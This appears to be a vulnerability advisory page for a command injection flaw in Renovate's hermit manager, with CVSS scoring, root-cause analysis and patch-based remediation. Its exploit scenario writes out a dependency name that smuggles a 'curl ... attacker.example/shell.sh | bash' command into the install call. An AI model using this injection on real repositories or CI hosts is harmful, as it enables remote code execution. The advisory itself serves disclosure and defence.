Severity by source
CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Repository write access required (PR:H); attack is initiated via a network push to a remote repository; scope changes to the broader CI/CD host beyond the Renovate process itself.
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
3DescriptionCVE.org
Renovate versions from 32.135.0 before 40.33.0 contain a command injection vulnerability in the hermit manager where user-provided dependency names are appended to install and uninstall commands without proper sanitization. Attackers with repository write access can provide maliciously named hermit dependencies to execute arbitrary commands on the machine running Renovate.
AnalysisAI
Command injection in Renovate's hermit manager (versions 32.135.0 through 40.33.0) allows an attacker with repository write access to execute arbitrary commands on the machine running Renovate by supplying a maliciously named hermit dependency. The root cause is the unsanitized concatenation of user-controlled depName values directly into ./hermit install and ./hermit uninstall shell commands in lib/modules/manager/hermit/artifacts.ts. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Two specific conditions must both be satisfied: first, the attacker must hold repository write access (ability to push commits or merge pull requests to the target repository); second, the repository must actively use Renovate's hermit manager, meaning Hermit-managed dependencies are present and the manager is not excluded via `enabledManagers`. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 4.0 vector (AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) scores 8.4 and reflects the key risk shape: command execution with full confidentiality, integrity, and availability impact on the vulnerable system, but gated by PR:H (repository write access). … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker with repository write access commits a hermit dependency file with a name containing shell metacharacters-such as `go-1.17; curl http://attacker.example/shell.sh | bash; echo `-and simultaneously commits a `renovate.json5` that uses `customDatasources` and `packageRules` to override the hermit manager's datasource and force Renovate to perceive a new version as available. When the Renovate bot next processes the repository, it constructs the command `./hermit install go-1.17; curl http://attacker.example/shell.sh | bash; echo -1.17.1` and executes it in a shell on the CI/CD host, achieving arbitrary command execution. … |
| Remediation | Upgrade Renovate to version 40.33.0 or later, which fully applies shell escaping via the `quote()` function from the `shlex` package across all hermit install and uninstall command paths (patch commits b696abb3c2741508fbb4029f39153140a3722e1e, eaec10d7c8afadbdd783ac47bd2adbfab444d6df, 41e8b99f86a6e2a56f80f7aa1a08a59d76f2358c, and a70a6a376d31148e80be5a5c885ac33ff5ddb30c). … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours, identify all Renovate instances and their versions by checking CI/CD configurations and audit logs; establish interim access controls restricting repository write permissions to authorized administrators only. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
Command injection in Renovate's helmv3 manager (versions 31.51.0 through 40.32.x) allows repository contributors with wr
Command injection in Renovate's npm manager (versions 35.63.0 through 40.33.0) allows attackers with repository write ac
Command injection in Renovate's kustomize manager (versions 39.218.0 through 40.33.0) allows repository contributors wit
Command injection in Renovate's gleam manager (versions 39.53.0 through 40.33.0 exclusive) allows attackers with reposit
Command injection in Renovate's Gradle Wrapper update mechanism allows arbitrary code execution inside the Renovate runt
Remote code execution in Renovate's bazel-module and bazelisk managers exposes self-hosted instances running versions 43
Environment variable exposure in Renovate (versions 42.68.1 through 42.96.3 and 43.0.0 through 43.4.4) leaks the full pr
Same weakness CWE-77 – Command Injection
View allSame technique Command Injection
View allVendor StatusVendor
Share
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-62472
GHSA-jjmm-46cq-987q